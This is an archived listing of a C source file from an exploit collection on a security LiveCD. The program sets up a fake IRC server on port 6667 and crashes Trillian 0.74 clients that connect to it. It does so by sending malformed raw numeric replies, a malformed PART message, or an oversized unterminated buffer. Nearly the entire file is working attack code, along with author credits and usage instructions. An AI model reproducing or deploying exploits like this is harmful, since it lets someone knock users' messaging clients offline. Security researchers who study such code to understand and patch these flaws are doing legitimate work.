home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / Trillian-Dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  112 lines

  1. /* Trillian-Dos.c
  2.    Author: Lance Fitz-Herbert
  3.    Contact: IRC: Phrizer, DALnet - #KORP
  4.             ICQ: 23549284
  5.  
  6.    Exploits Multiple Trillian DoS Flaws:
  7.       Raws 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332, 333,
  8. 352, 367
  9.       Part Flaw
  10.       Data length flaw.
  11.  
  12.    Tested On Version .74
  13.    Compiles with Borland 5.5 Commandline Tools.
  14.  
  15.    These Examples Will Just DoS The Trillian Client,
  16. */
  17.  
  18. #include <windows.h>
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <winsock.h>
  22.  
  23. SOCKET s;
  24.  
  25. #define SERVER ":server "
  26. #define PART ":nick!ident@address PART\n"
  27.  
  28. int main(int argc, char *argv[]) {
  29.          SOCKET TempSock = SOCKET_ERROR;
  30.          WSADATA WsaDat;
  31.          SOCKADDR_IN Sockaddr;
  32.          int nRet;
  33.          char payload[4096];
  34.          if (argc < 2) {
  35.                   usage();
  36.                   return 1;
  37.          }
  38.          if ((!strcmp(argv[1],"raw")) && (argc < 3) || (strcmp(argv[1],"raw")) &&
  39. (strcmp(argv[1],"part")) && (strcmp(argv[1],"data"))) {
  40.                   usage();
  41.                   return 1;
  42.          }
  43.  
  44.          printf("Listening on port 6667 for connections....\n");
  45.          if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
  46.                  printf("ERROR: WSA Initialization failed.");
  47.                   return 0;
  48.          }
  49.  
  50.  
  51.          /* Create Socket */
  52.          s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  53.          if (s == INVALID_SOCKET) {
  54.                   printf("ERROR: Could Not Create Socket. Exiting\n");
  55.                   WSACleanup();
  56.                   return 0;
  57.          }
  58.  
  59.          Sockaddr.sin_port = htons(6667);
  60.          Sockaddr.sin_family = AF_INET;
  61.          Sockaddr.sin_addr.s_addr  = INADDR_ANY;
  62.  
  63.  
  64.         nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
  65.          if (nRet == SOCKET_ERROR) {
  66.                   printf("ERROR Binding Socket");
  67.                   WSACleanup();
  68.                   return 0;
  69.          }
  70.  
  71.          /* Make Socket Listen */
  72.          if (listen(s, 10) == SOCKET_ERROR) {
  73.                   printf("ERROR: Couldnt Make Listening Socket\n");
  74.                   WSACleanup();
  75.                   return 0;
  76.          }
  77.  
  78.          while (TempSock == SOCKET_ERROR) {
  79.                TempSock = accept(s, NULL, NULL);
  80.          }
  81.  
  82.          printf("Client Connected, Sending Payload\n");
  83.  
  84.  
  85.          if (!strcmp(argv[1],"part")) {
  86.                   send(TempSock,PART,strlen(PART),0);
  87.          }
  88.          if (!strcmp(argv[1],"raw")) {
  89.                   send(TempSock,SERVER,strlen(SERVER),0);
  90.                   send(TempSock,argv[2],strlen(argv[2]),0);
  91.                   send(TempSock,"\n",1,0);
  92.          }
  93.          if (!strcmp(argv[1],"data")) {
  94.                   memset(payload,'A',4096);
  95.                   send(TempSock,payload,strlen(payload),0);
  96.          }
  97.          printf("Exiting\n");
  98.          sleep(100);
  99.          WSACleanup();
  100.          return 0;
  101. }
  102.  
  103. usage() {
  104.                   printf("\nTrillian Multiple DoS Flaws\n");
  105.                   printf("---------------------------\n");
  106.                   printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
  107.                   printf("Tested On Version .74\n\n");
  108.                   printf("Usage: Trillian-Dos <type> [num]\n");
  109.                   printf("Type: raw, part, data\n");
  110.                   printf("Num : 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332,
  111. 333, 352, 367\n\n");
  112. }